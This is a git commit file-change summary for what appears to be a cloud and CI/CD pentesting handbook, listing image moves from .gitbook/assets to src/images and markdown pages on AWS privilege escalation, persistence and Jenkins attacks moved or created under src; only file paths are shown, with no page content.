 rename {.gitbook/assets => src/images}/image (3) (1) (2).png (100%)
 rename {.gitbook/assets => src/images}/image (3) (1) (3).png (100%)
 rename {.gitbook/assets => src/images}/image (3) (1).png (100%)
 rename {.gitbook/assets => src/images}/image (3) (2) (1).png (100%)
 rename {.gitbook/assets => src/images}/image (3) (2) (2).png (100%)
 rename {.gitbook/assets => src/images}/image (3) (2) (3).png (100%)
 rename {.gitbook/assets => src/images}/image (3) (2).png (100%)
 rename {.gitbook/assets => src/images}/image (3) (3) (1).png (100%)
 rename {.gitbook/assets => src/images}/image (3) (3) (2).png (100%)
 rename {.gitbook/assets => src/images}/image (3) (3).png (100%)
 rename {.gitbook/assets => src/images}/image (3) (4).png (100%)
 rename {.gitbook/assets => src/images}/image (3) (5).png (100%)
 rename {.gitbook/assets => src/images}/image (3) (6).png (100%)
 rename {.gitbook/assets => src/images}/image (3).png (100%)
 rename {.gitbook/assets => src/images}/image (30).png (100%)
 rename {.gitbook/assets => src/images}/image (300).png (100%)
 rename {.gitbook/assets => src/images}/image (301).png (100%)
 rename {.gitbook/assets => src/images}/image (302).png (100%)
 rename {.gitbook/assets => src/images}/image (303).png (100%)
 rename {.gitbook/assets => src/images}/image (304).png (100%)
 rename {.gitbook/assets => src/images}/image (305).png (100%)
 rename {.gitbook/assets => src/images}/image (306).png (100%)
 rename {.gitbook/assets => src/images}/image (307).png (100%)
 rename {.gitbook/assets => src/images}/image (308).png (100%)
 rename {.gitbook/assets => src/images}/image (309).png (100%)
 rename {.gitbook/assets => src/images}/image (31).png (100%)
 rename {.gitbook/assets => src/images}/image (310).png (100%)
 rename {.gitbook/assets => src/images}/image (311).png (100%)
 rename {.gitbook/assets => src/images}/image (312).png (100%)
 rename {.gitbook/assets => src/images}/image (313).png (100%)
 rename {.gitbook/assets => src/images}/image (314).png (100%)
 rename {.gitbook/assets => src/images}/image (315).png (100%)
 rename {.gitbook/assets => src/images}/image (316).png (100%)
 rename {.gitbook/assets => src/images}/image (317).png (100%)
 rename {.gitbook/assets => src/images}/image (318).png (100%)
 rename {.gitbook/assets => src/images}/image (319).png (100%)
 rename {.gitbook/assets => src/images}/image (32).png (100%)
 rename {.gitbook/assets => src/images}/image (320).png (100%)
 rename {.gitbook/assets => src/images}/image (321).png (100%)
 rename {.gitbook/assets => src/images}/image (322).png (100%)
 rename {.gitbook/assets => src/images}/image (323).png (100%)
 rename {.gitbook/assets => src/images}/image (324).png (100%)
 rename {.gitbook/assets => src/images}/image (325).png (100%)
 rename {.gitbook/assets => src/images}/image (326).png (100%)
 rename {.gitbook/assets => src/images}/image (327).png (100%)
 rename {.gitbook/assets => src/images}/image (328).png (100%)
 rename {.gitbook/assets => src/images}/image (329).png (100%)
 rename {.gitbook/assets => src/images}/image (33).png (100%)
 rename {.gitbook/assets => src/images}/image (330).png (100%)
 rename {.gitbook/assets => src/images}/image (331).png (100%)
 rename {.gitbook/assets => src/images}/image (332).png (100%)
 rename {.gitbook/assets => src/images}/image (333).png (100%)
 rename {.gitbook/assets => src/images}/image (334).png (100%)
 rename {.gitbook/assets => src/images}/image (335).png (100%)
 rename {.gitbook/assets => src/images}/image (336).png (100%)
 rename {.gitbook/assets => src/images}/image (337).png (100%)
 rename {.gitbook/assets => src/images}/image (338).png (100%)
 rename {.gitbook/assets => src/images}/image (339).png (100%)
 rename {.gitbook/assets => src/images}/image (34).png (100%)
 rename {.gitbook/assets => src/images}/image (340).png (100%)
 rename {.gitbook/assets => src/images}/image (341).png (100%)
 rename {.gitbook/assets => src/images}/image (342).png (100%)
 rename {.gitbook/assets => src/images}/image (343).png (100%)
 rename {.gitbook/assets => src/images}/image (344).png (100%)
 rename {.gitbook/assets => src/images}/image (345).png (100%)
 rename {.gitbook/assets => src/images}/image (346).png (100%)
 rename {.gitbook/assets => src/images}/image (347).png (100%)
 rename {.gitbook/assets => src/images}/image (348).png (100%)
 rename {.gitbook/assets => src/images}/image (349).png (100%)
 rename {.gitbook/assets => src/images}/image (35).png (100%)
 rename {.gitbook/assets => src/images}/image (350).png (100%)
 rename {.gitbook/assets => src/images}/image (351).png (100%)
 rename {.gitbook/assets => src/images}/image (352).png (100%)
 rename {.gitbook/assets => src/images}/image (353).png (100%)
 rename {.gitbook/assets => src/images}/image (354).png (100%)
 rename {.gitbook/assets => src/images}/image (355).png (100%)
 rename {.gitbook/assets => src/images}/image (356).png (100%)
 rename {.gitbook/assets => src/images}/image (36).png (100%)
 rename {.gitbook/assets => src/images}/image (37).png (100%)
 rename {.gitbook/assets => src/images}/image (38) (1).png (100%)
 rename {.gitbook/assets => src/images}/image (38).png (100%)
 rename {.gitbook/assets => src/images}/image (39) (1).png (100%)
 rename {.gitbook/assets => src/images}/image (39).png (100%)
 rename {.gitbook/assets => src/images}/image (4) (1) (1) (1) (1) (1) (1) (1) (1).png (100%)
 rename {.gitbook/assets => src/images}/image (4) (1) (1) (1) (1) (1) (1) (1).png (100%)
 rename {.gitbook/assets => src/images}/image (4) (1) (1) (1) (1) (1) (1).png (100%)
 rename {.gitbook/assets => src/images}/image (4) (1) (1) (1) (1) (1).png (100%)
 rename {.gitbook/assets => src/images}/image (4) (1) (1) (1) (1).png (100%)
 rename {.gitbook/assets => src/images}/image (4) (1) (1) (1).png (100%)
 rename {.gitbook/assets => src/images}/image (4) (1) (1).png (100%)
 rename {.gitbook/assets => src/images}/image (4) (1) (2).png (100%)
 rename {.gitbook/assets => src/images}/image (4) (1) (3).png (100%)
 rename {.gitbook/assets => src/images}/image (4) (1).png (100%)
 rename {.gitbook/assets => src/images}/image (4) (2) (1).png (100%)
 rename {.gitbook/assets => src/images}/image (4) (2).png (100%)
 rename {.gitbook/assets => src/images}/image (4) (3).png (100%)
 rename {.gitbook/assets => src/images}/image (4) (4).png (100%)
 rename {.gitbook/assets => src/images}/image (4) (5).png (100%)
 rename {.gitbook/assets => src/images}/image (4) (6).png (100%)
 rename {.gitbook/assets => src/images}/image (4) (7).png (100%)
 rename {.gitbook/assets => src/images}/image (4).png (100%)
 rename {.gitbook/assets => src/images}/image (40).png (100%)
 rename {.gitbook/assets => src/images}/image (41).png (100%)
 rename {.gitbook/assets => src/images}/image (42).png (100%)
 rename {.gitbook/assets => src/images}/image (43).png (100%)
 rename {.gitbook/assets => src/images}/image (44).png (100%)
 rename {.gitbook/assets => src/images}/image (45).png (100%)
 rename {.gitbook/assets => src/images}/image (46).png (100%)
 rename {.gitbook/assets => src/images}/image (47).png (100%)
 rename {.gitbook/assets => src/images}/image (48).png (100%)
 rename {.gitbook/assets => src/images}/image (49).png (100%)
 rename {.gitbook/assets => src/images}/image (5) (1) (1) (1) (1) (1).png (100%)
 rename {.gitbook/assets => src/images}/image (5) (1) (1) (1) (1).png (100%)
 rename {.gitbook/assets => src/images}/image (5) (1) (1) (1).png (100%)
 rename {.gitbook/assets => src/images}/image (5) (1) (1) (2).png (100%)
 rename {.gitbook/assets => src/images}/image (5) (1) (1).png (100%)
 rename {.gitbook/assets => src/images}/image (5) (1).png (100%)
 rename {.gitbook/assets => src/images}/image (5) (2) (1).png (100%)
 rename {.gitbook/assets => src/images}/image (5) (2).png (100%)
 rename {.gitbook/assets => src/images}/image (5) (3).png (100%)
 rename {.gitbook/assets => src/images}/image (5) (4).png (100%)
 rename {.gitbook/assets => src/images}/image (5).png (100%)
 rename {.gitbook/assets => src/images}/image (50).png (100%)
 rename {.gitbook/assets => src/images}/image (51).png (100%)
 rename {.gitbook/assets => src/images}/image (52).png (100%)
 rename {.gitbook/assets => src/images}/image (53).png (100%)
 rename {.gitbook/assets => src/images}/image (54).png (100%)
 rename {.gitbook/assets => src/images}/image (55).png (100%)
 rename {.gitbook/assets => src/images}/image (56).png (100%)
 rename {.gitbook/assets => src/images}/image (57).png (100%)
 rename {.gitbook/assets => src/images}/image (58).png (100%)
 rename {.gitbook/assets => src/images}/image (59).png (100%)
 rename {.gitbook/assets => src/images}/image (6) (1) (1) (1).png (100%)
 rename {.gitbook/assets => src/images}/image (6) (1) (1).png (100%)
 rename {.gitbook/assets => src/images}/image (6) (1) (2).png (100%)
 rename {.gitbook/assets => src/images}/image (6) (1).png (100%)
 rename {.gitbook/assets => src/images}/image (6) (2).png (100%)
 rename {.gitbook/assets => src/images}/image (6) (3).png (100%)
 rename {.gitbook/assets => src/images}/image (6).png (100%)
 rename {.gitbook/assets => src/images}/image (60).png (100%)
 rename {.gitbook/assets => src/images}/image (61).png (100%)
 rename {.gitbook/assets => src/images}/image (62).png (100%)
 rename {.gitbook/assets => src/images}/image (63).png (100%)
 rename {.gitbook/assets => src/images}/image (64).png (100%)
 rename {.gitbook/assets => src/images}/image (65).png (100%)
 rename {.gitbook/assets => src/images}/image (66).png (100%)
 rename {.gitbook/assets => src/images}/image (67).png (100%)
 rename {.gitbook/assets => src/images}/image (68).png (100%)
 rename {.gitbook/assets => src/images}/image (69).png (100%)
 rename {.gitbook/assets => src/images}/image (7) (1) (1) (1).png (100%)
 rename {.gitbook/assets => src/images}/image (7) (1) (1) (2).png (100%)
 rename {.gitbook/assets => src/images}/image (7) (1) (1).png (100%)
 rename {.gitbook/assets => src/images}/image (7) (1) (2) (1).png (100%)
 rename {.gitbook/assets => src/images}/image (7) (1) (2).png (100%)
 rename {.gitbook/assets => src/images}/image (7) (1).png (100%)
 rename {.gitbook/assets => src/images}/image (7) (2).png (100%)
 rename {.gitbook/assets => src/images}/image (7).png (100%)
 rename {.gitbook/assets => src/images}/image (70).png (100%)
 rename {.gitbook/assets => src/images}/image (71).png (100%)
 rename {.gitbook/assets => src/images}/image (72).png (100%)
 rename {.gitbook/assets => src/images}/image (73).png (100%)
 rename {.gitbook/assets => src/images}/image (74).png (100%)
 rename {.gitbook/assets => src/images}/image (75).png (100%)
 rename {.gitbook/assets => src/images}/image (76).png (100%)
 rename {.gitbook/assets => src/images}/image (77).png (100%)
 rename {.gitbook/assets => src/images}/image (78).png (100%)
 rename {.gitbook/assets => src/images}/image (79).png (100%)
 rename {.gitbook/assets => src/images}/image (8) (1) (1) (1) (1) (1).png (100%)
 rename {.gitbook/assets => src/images}/image (8) (1) (1) (1) (1).png (100%)
 rename {.gitbook/assets => src/images}/image (8) (1) (1) (1).png (100%)
 rename {.gitbook/assets => src/images}/image (8) (1) (1).png (100%)
 rename {.gitbook/assets => src/images}/image (8) (1).png (100%)
 rename {.gitbook/assets => src/images}/image (8) (2).png (100%)
 rename {.gitbook/assets => src/images}/image (8) (3).png (100%)
 rename {.gitbook/assets => src/images}/image (8).png (100%)
 rename {.gitbook/assets => src/images}/image (80).png (100%)
 rename {.gitbook/assets => src/images}/image (81).png (100%)
 rename {.gitbook/assets => src/images}/image (82).png (100%)
 rename {.gitbook/assets => src/images}/image (83) (1).png (100%)
 rename {.gitbook/assets => src/images}/image (83).png (100%)
 rename {.gitbook/assets => src/images}/image (84).png (100%)
 rename {.gitbook/assets => src/images}/image (85) (1).png (100%)
 rename {.gitbook/assets => src/images}/image (85).png (100%)
 rename {.gitbook/assets => src/images}/image (86).png (100%)
 rename {.gitbook/assets => src/images}/image (87) (1).png (100%)
 rename {.gitbook/assets => src/images}/image (87).png (100%)
 rename {.gitbook/assets => src/images}/image (88).png (100%)
 rename {.gitbook/assets => src/images}/image (89) (1).png (100%)
 rename {.gitbook/assets => src/images}/image (89).png (100%)
 rename {.gitbook/assets => src/images}/image (9) (1) (1) (1) (1).png (100%)
 rename {.gitbook/assets => src/images}/image (9) (1) (1) (1).png (100%)
 rename {.gitbook/assets => src/images}/image (9) (1) (1).png (100%)
 rename {.gitbook/assets => src/images}/image (9) (1).png (100%)
 rename {.gitbook/assets => src/images}/image (9) (2).png (100%)
 rename {.gitbook/assets => src/images}/image (9).png (100%)
 rename {.gitbook/assets => src/images}/image (90).png (100%)
 rename {.gitbook/assets => src/images}/image (91).png (100%)
 rename {.gitbook/assets => src/images}/image (92) (1) (1).png (100%)
 rename {.gitbook/assets => src/images}/image (92) (1).png (100%)
 rename {.gitbook/assets => src/images}/image (92).png (100%)
 rename {.gitbook/assets => src/images}/image (93).png (100%)
 rename {.gitbook/assets => src/images}/image (94).png (100%)
 rename {.gitbook/assets => src/images}/image (95).png (100%)
 rename {.gitbook/assets => src/images}/image (96).png (100%)
 rename {.gitbook/assets => src/images}/image (97).png (100%)
 rename {.gitbook/assets => src/images}/image (98).png (100%)
 rename {.gitbook/assets => src/images}/image (99).png (100%)
 rename {.gitbook/assets => src/images}/image.png (100%)
 rename {.gitbook/assets => src/images}/openshift-missing-service-account-image1.png (100%)
 rename {.gitbook/assets => src/images}/openshift-missing-service-account-image2.png (100%)
 create mode 100644 src/images/sponsor_8ksec.png
 create mode 100644 src/images/sponsor_hackenproof.jpeg
 create mode 100644 src/images/sponsor_intigriti.png
 create mode 100644 src/images/sponsor_pentesttools.webp
 create mode 100644 src/images/sponsor_rootedcon.png
 create mode 100644 src/images/sponsor_stm.png
 create mode 100644 src/images/sponsor_trickest.jpeg
 rename {.gitbook/assets => src/images}/telegram-cloud-document-4-5875069018120918586.jpg (100%)
 rename {.gitbook/assets => src/images}/telegram-cloud-photo-size-4-5780773316536156543-x.jpg (100%)
 rename {.gitbook/assets => src/images}/telegram-cloud-photo-size-4-5782633230648853886-y.jpg (100%)
 rename {.gitbook/assets => src/images}/telegram-cloud-photo-size-4-5920521132757336440-y.jpg (100%)
 rename {.gitbook/assets => src/images}/telegram-cloud-photo-size-4-6044191430395675441-x.jpg (100%)
 rename {pentesting-ci-cd => src/pentesting-ci-cd}/ansible-tower-awx-automation-controller-security.md (51%)
 rename {pentesting-ci-cd => src/pentesting-ci-cd}/apache-airflow-security/README.md (69%)
 create mode 100644 src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
 rename {pentesting-ci-cd => src/pentesting-ci-cd}/apache-airflow-security/airflow-rbac.md (68%)
 rename {pentesting-ci-cd => src/pentesting-ci-cd}/atlantis-security.md (69%)
 rename {pentesting-ci-cd => src/pentesting-ci-cd}/circleci-security.md (59%)
 create mode 100644 src/pentesting-ci-cd/cloudflare-security/README.md
 create mode 100644 src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
 create mode 100644 src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
 create mode 100644 src/pentesting-ci-cd/concourse-security/README.md
 create mode 100644 src/pentesting-ci-cd/concourse-security/concourse-architecture.md
 rename {pentesting-ci-cd => src/pentesting-ci-cd}/concourse-security/concourse-enumeration-and-attacks.md (66%)
 rename {pentesting-ci-cd => src/pentesting-ci-cd}/concourse-security/concourse-lab-creation.md (53%)
 rename {pentesting-ci-cd => src/pentesting-ci-cd}/gitea-security/README.md (58%)
 create mode 100644 src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
 rename {pentesting-ci-cd => src/pentesting-ci-cd}/github-security/README.md (62%)
 rename {pentesting-ci-cd => src/pentesting-ci-cd}/github-security/abusing-github-actions/README.md (65%)
 rename {pentesting-ci-cd => src/pentesting-ci-cd}/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md (100%)
 rename {pentesting-ci-cd => src/pentesting-ci-cd}/github-security/abusing-github-actions/gh-actions-cache-poisoning.md (100%)
 rename {pentesting-ci-cd => src/pentesting-ci-cd}/github-security/abusing-github-actions/gh-actions-context-script-injections.md (100%)
 create mode 100644 src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
 rename {pentesting-ci-cd => src/pentesting-ci-cd}/github-security/basic-github-information.md (62%)
 rename {pentesting-ci-cd => src/pentesting-ci-cd}/jenkins-security/README.md (68%)
 rename {pentesting-ci-cd => src/pentesting-ci-cd}/jenkins-security/basic-jenkins-information.md (63%)
 create mode 100644 src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
 rename {pentesting-ci-cd => src/pentesting-ci-cd}/jenkins-security/jenkins-dumping-secrets-from-groovy.md (52%)
 create mode 100644 src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
 create mode 100644 src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
 create mode 100644 src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
 rename {pentesting-ci-cd => src/pentesting-ci-cd}/okta-security/README.md (66%)
 rename {pentesting-ci-cd => src/pentesting-ci-cd}/okta-security/okta-hardening.md (73%)
 rename {pentesting-ci-cd => src/pentesting-ci-cd}/pentesting-ci-cd-methodology.md (55%)
 rename {pentesting-ci-cd => src/pentesting-ci-cd}/serverless.com-security.md (64%)
 rename {pentesting-ci-cd => src/pentesting-ci-cd}/supabase-security.md (62%)
 rename {pentesting-ci-cd => src/pentesting-ci-cd}/terraform-security.md (72%)
 create mode 100644 src/pentesting-ci-cd/todo.md
 create mode 100644 src/pentesting-ci-cd/travisci-security/README.md
 rename {pentesting-ci-cd => src/pentesting-ci-cd}/travisci-security/basic-travisci-information.md (60%)
 create mode 100644 src/pentesting-ci-cd/vercel-security.md
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/README.md (64%)
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-basic-information/README.md (78%)
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-basic-information/aws-federation-abuse.md (53%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-persistence/README.md (100%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-persistence/aws-ecs-persistence.md (50%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md (51%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md (65%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-persistence/aws-ssm-perssitence.md (100%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-persistence/aws-sts-persistence.md (65%)
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-post-exploitation/README.md (100%)
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md (66%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md (56%)
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md (74%)
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md (76%)
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md (60%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md (55%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md (50%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md (55%)
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md (51%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md (52%)
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md (55%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md (54%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md (59%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md (59%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md (70%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-privilege-escalation/aws-cognito-privesc.md (82%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-privilege-escalation/aws-ec2-privesc.md (77%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-privilege-escalation/aws-ecs-privesc.md (75%)
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-privilege-escalation/aws-efs-privesc.md (56%)
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md (54%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-privilege-escalation/aws-glue-privesc.md (60%)
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-privilege-escalation/aws-iam-privesc.md (69%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-privilege-escalation/aws-lambda-privesc.md (77%)
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md (60%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-privilege-escalation/aws-rds-privesc.md (59%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-privilege-escalation/aws-s3-privesc.md (63%)
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md (54%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-privilege-escalation/aws-ssm-privesc.md (60%)
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md (59%)
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md (71%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md (79%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-services/README.md
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-services/aws-api-gateway-enum.md (71%)
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md (51%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-services/aws-cloudhsm-enum.md (78%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md (63%)
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md (70%)
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md (57%)
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-services/aws-directory-services-workdocs-enum.md (59%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-services/aws-dynamodb-enum.md (60%)
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md (68%)
